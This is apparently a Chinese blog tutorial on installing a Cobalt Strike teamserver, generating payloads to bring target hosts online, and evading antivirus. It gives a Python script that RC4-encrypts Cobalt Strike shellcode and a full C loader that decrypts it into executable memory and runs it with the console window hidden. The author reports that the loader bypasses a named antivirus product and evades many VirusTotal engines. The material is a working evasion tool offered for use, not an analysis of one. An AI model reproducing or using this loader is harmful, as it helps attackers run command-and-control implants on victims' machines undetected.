Cobalt_Strike(CS)安装到免杀上线
原文链接:
cs免杀上线 点我
https://mp.weixin.qq.com/s?__biz=MzkxNDY5NzMxNw==&mid=2247483862&idx=1&sn=c6b4da3ce5772a075431098227397baa&chksm=c16b3cdcf61cb5ca06f615130cde9e20719a516476609442f329bf4eeb143c656ea6e5c16cd2&token=980969003&lang=zh_CN#rd
安装
将压缩包上传Linux服务器上解压
解压后里面有两个文件,teamserver和TeamServerImage,要赋予他们两个可执行权限才行
chmod 777 teamserver
chmod 777 TeamServerImage
执行teamserver,后面跟本机的ip+密码
./teamserver 192.168.182.134 password
这样就算成功了
上线
用户随便写,直接连接
进入之后新建监听器:
加载cs插件
生成pyload上线主机
监听器选择刚刚创建的
记得关闭杀软,不然会被删,把生成的exe文件放到目标主机双击,即可上线cs
免杀
shellcode混淆加密
这里只介绍一种简单的免杀方式,利用未公开函数进行RC4加解密
使用cs生成c语言的pyload,这里注意记住自己使用的是X64还是X86
接下来使用python生成一段RC4加密脚本,对CS的pyload进行加密
import sys
from arc4 import ARC4# 原始的shellcode(示例)
shellcode = (b"这里放CS生成的pyload")# 密钥
key = b'secretkey'# 使用ARC4加密
cipher = ARC4(key)
encrypted_shellcode = cipher.encrypt(shellcode)# 打印加密后的shellcode
print("Encrypted Shellcode:", encrypted_shellcode.hex())# 将加密后的shellcode保存到文件
with open("encrypted_shellcode.bin", "wb") as f:f.write(encrypted_shellcode)
上面代码运行之后会在当前文件夹下生成一个bin文件,记住这个文件的位置,这里我把它放到了E盘下面
接着写一段C代码,对加密后的shellcode进行解密并执行,注意后缀是.c,不是.cpp它们是不一样的
这里代码有很多是我方便调试写的,可以去掉那些打印的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// RC4加密函数
void rc4(unsigned char* data, int data_len, unsigned char* key, int key_len) {unsigned char S[256];unsigned char T[256];unsigned char temp;int i, j = 0, t, k;for (i = 0; i < 256; i++) {S[i] = (unsigned char)i;T[i] = key[i % key_len];}for (i = 0; i < 256; i++) {j = (j + S[i] + T[i]) % 256;temp = S[i];S[i] = S[j];S[j] = temp;}i = j = 0;for (k = 0; k < data_len; k++) {i = (i + 1) % 256;j = (j + S[i]) % 256;temp = S[i];S[i] = S[j];S[j] = temp;t = (S[i] + S[j]) % 256;data[k] ^= S[t];}
}void print_shellcode(unsigned char* shellcode, int length) {for (int i = 0; i < length; i++) {printf("\\x%02x", shellcode[i]);}printf("\n");
}int main() {FILE* file = fopen("E:\\encrypted_shellcode.bin", "rb");if (!file) {printf("无法打开文件。\n");return 1;}fseek(file, 0, SEEK_END);long file_size = ftell(file);fseek(file, 0, SEEK_SET);unsigned char* encrypted_shellcode = (unsigned char*)malloc(file_size);fread(encrypted_shellcode, 1, file_size, file);fclose(file);unsigned char key[] = "secretkey";int key_len = strlen((char*)key);// 解密shellcodeprintf("解密shellcode...\n");rc4(encrypted_shellcode, file_size, key, key_len);// 打印解密后的shellcodeprintf("解密后的shellcode:\n");print_shellcode(encrypted_shellcode, file_size);// 分配可执行内存printf("分配可执行内存...\n");void* exec_mem = VirtualAlloc(0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (exec_mem == NULL) {printf("内存分配失败。\n");free(encrypted_shellcode);return 1;}// 复制解密的shellcode到可执行内存printf("复制shellcode到可执行内存...\n");memcpy(exec_mem, encrypted_shellcode, file_size);free(encrypted_shellcode);// 执行shellcodeprintf("执行shellcode...\n");((void(*)())exec_mem)();// 释放内存printf("释放内存...\n");VirtualFree(exec_mem, 0, MEM_RELEASE);return 0;
}
运行之后,本地主机直接就上线了
把生成的exe文件放到虚拟机执行之后一样上线,这样要注意把加密后的shellcode也要放入虚拟机
成功绕过某绒
vt过60,一大半了,对于刚接触免杀的我来说,已经不错了
未完待续